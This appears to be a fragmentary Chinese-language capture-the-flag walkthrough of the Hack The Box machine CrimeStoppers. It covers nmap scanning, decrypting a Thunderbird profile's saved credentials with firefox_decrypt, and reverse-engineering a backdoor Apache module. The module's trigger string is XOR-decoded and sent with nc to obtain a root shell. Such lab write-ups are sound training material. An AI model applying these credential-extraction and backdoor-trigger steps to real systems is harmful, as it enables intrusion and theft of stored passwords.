┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:21 CST Nmap scan report for 10.10.10.80 Host is up (0.082s latency). Not shown: 65521 filtered tcp ports (no-response), 13 filtered tcp ports (host-prohibited) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers] └─$ sudo nmap -sT -sC -sV -O -p80 10.10.10.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:22 CST Nmap scan report for 10.10.10.80 Host is up (0.077s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Ubuntu)) |_http-server-header: Apache/2.4.25 (Ubuntu) |_http-title: FBIs Most Wanted: FSociety Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized Running (JUST GUESSING): Linux 5.X|3.X|4.X (91%), Crestron 2-Series (85%) OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series Aggressive OS guesses: Linux 5.0 (91%), Linux 3.10 - 4.11 (89%), Linux 3.18 (89%), Linux 3.2 - 4.9 (89%), Linux 5.1 (89%), Crestron XPanel control system (85%) No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers] └─$ sudo nmap --script=vuln -p80 10.10.10.80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 23:23 CST Nmap scan report for 10.10.10.80 Host is up (0.079s latency).
PORT STATE SERVICE 80/tcp open http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-internal-ip-disclosure: |_ Internal IP Leaked: 127.0.1.1 |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)' | /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (ubuntu)' |_ /uploads/: Potentially interesting folder |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. <SNIP> Nmap done: 1 IP address (1 host up) scanned in 43.99 seconds
// If the hacker cannot control the filename, it's totally safe to let them write files... Or is it? functiongenFilename() { returnsha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand()); }
┌──(mikannse㉿kali)-[~/…/home/dom/.thunderbird/36jinndk.default] └─$ python ~/tools/other/firefox_decrypt/firefox_decrypt.py . 2024-09-23 22:05:30,288 - WARNING - profile.ini not found in . 2024-09-23 22:05:30,288 - WARNING - Continuing and assuming '.' is a profile location
╔══════════╣ Processes with credentials in memory (root req) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory gdm-password Not Found gnome-keyring-daemon Not Found lightdm Not Found vsftpd Not Found apache2 process found (dump creds from memory as root) sshd Not Found
以及一个拥有组是dom的apache模块并且名字非常可疑，像是之前接触过的nginx后门模块
-rw-r----- 1 root dom 48584 Dec 22 2017 /usr/lib/apache2/modules/mod_rootme.so
放在ida反编译
有一个rootme_post_read_request函数,比较请求的uri是否与v3相等
int __fastcall rootme_post_read_request(request_rec_0 *r) { int v1; // ebp __int64 v2; // rax char *v3; // rax
hex_list = lists.split(',') hex_integers = [int(h.strip(), 16) for h in hex_list]
result = [chr(x ^ y) for x, y in zip(map(ord, aHackthebox), hex_integers)] result=''.join(result) print(result) ┌──(mikannse㉿kali)-[~/HTB/CrimeStoppers] └─$ python root.py FunSociety
那么
dom@crimestoppers:/tmp$ nc 10.10.10.80 80 nc 10.10.10.80 80 GET FunSociety GET FunSociety rootme-0.5 DarkArmy Edition Ready whoami whoami root
